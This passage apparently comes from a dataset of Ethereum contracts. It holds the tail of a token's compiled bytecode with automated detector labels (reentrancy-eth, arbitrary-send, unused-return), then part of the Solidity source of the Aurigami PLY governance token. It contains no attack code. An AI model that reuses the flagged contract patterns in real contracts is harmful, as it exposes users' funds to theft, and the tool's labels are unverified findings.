ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f50494e4b44000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220336409ff21fc0292075b9fb529d83f89db7b414f8332560fa931e0d6430c649764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,873 |
0x1ab43204a195a0fd37edec621482afd3792ef90b | /**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
pragma solidity 0.8.11;
contract Ply {
address public governance;
address public pendingGovernance;
uint256 public createdAt;
/// @notice EIP-20 token name for this token
string public constant name = "Aurigami Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "PLY";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Initial number of tokens in circulation
uint private constant INITIAL_SUPPLY = 10_000_000_000e18; // 10 billion PLY
/// @notice Total number of tokens in circulation
uint public totalSupply;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @notice Event for transfering Governance to a new address
event TransferGovernance(address newGovernance);
/// @notice Event for claiming Governance
event ClaimGovernance(address newGovernance);
modifier onlyGovernance() {
require(governance == msg.sender, "Caller is not governance");
_;
}
/**
* @notice Construct a new PLY token
* @param account The initial account to grant all the tokens and Governance of the contract
*/
constructor(address account) {
governance = account;
balances[account] = uint96(INITIAL_SUPPLY);
totalSupply = INITIAL_SUPPLY;
createdAt = block.timestamp;
emit Transfer(address(0), account, INITIAL_SUPPLY);
}
/**
* @notice Transfer Governance to a new owner address
*/
function transferGovernance(address newGovernance) external onlyGovernance {
pendingGovernance = newGovernance;
emit TransferGovernance(newGovernance);
}
/**
* @notice Claim Governance to the pending owner address
*/
function claimGovernance() external {
require(msg.sender == pendingGovernance, "Wrong governance");
governance = pendingGovernance;
pendingGovernance = address(0);
emit ClaimGovernance(governance);
}
/**
* @notice Mint Ply to an account, could only be done by governance address after at least 1 year
* @param account The account to receive the Ply tokens
* @param amount The amount to be minted
*/
function mintPly(address account, uint96 amount) external onlyGovernance {
require(block.timestamp > createdAt + (1 days) * 365, "Must be after 1 year");
balances[account] = add96(balances[account], amount, "Ply::mintPly: new account balance overflows");
totalSupply = add96(uint96(totalSupply), amount, "Ply:mintPly: total supply overflows");
_moveDelegates(address(0), delegates[account], amount);
emit Transfer(address(0), account, amount);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == type(uint256).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "Ply::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == type(uint256).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "Ply::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Ply::permit: invalid signature");
require(signatory == owner, "Ply::permit: unauthorized");
require(block.timestamp <= deadline, "Ply::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Ply::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Ply::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != type(uint96).max) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Ply::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Ply::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Ply::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "Ply::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) external view returns (uint96) {
require(blockNumber < block.number, "Ply::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Ply::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Ply::_transferTokens: cannot transfer to the zero address");
require(dst != address(this), "Ply::_transferTokens: cannot transfer to the token address");
balances[src] = sub96(balances[src], amount, "Ply::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Ply::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Ply::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Ply::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
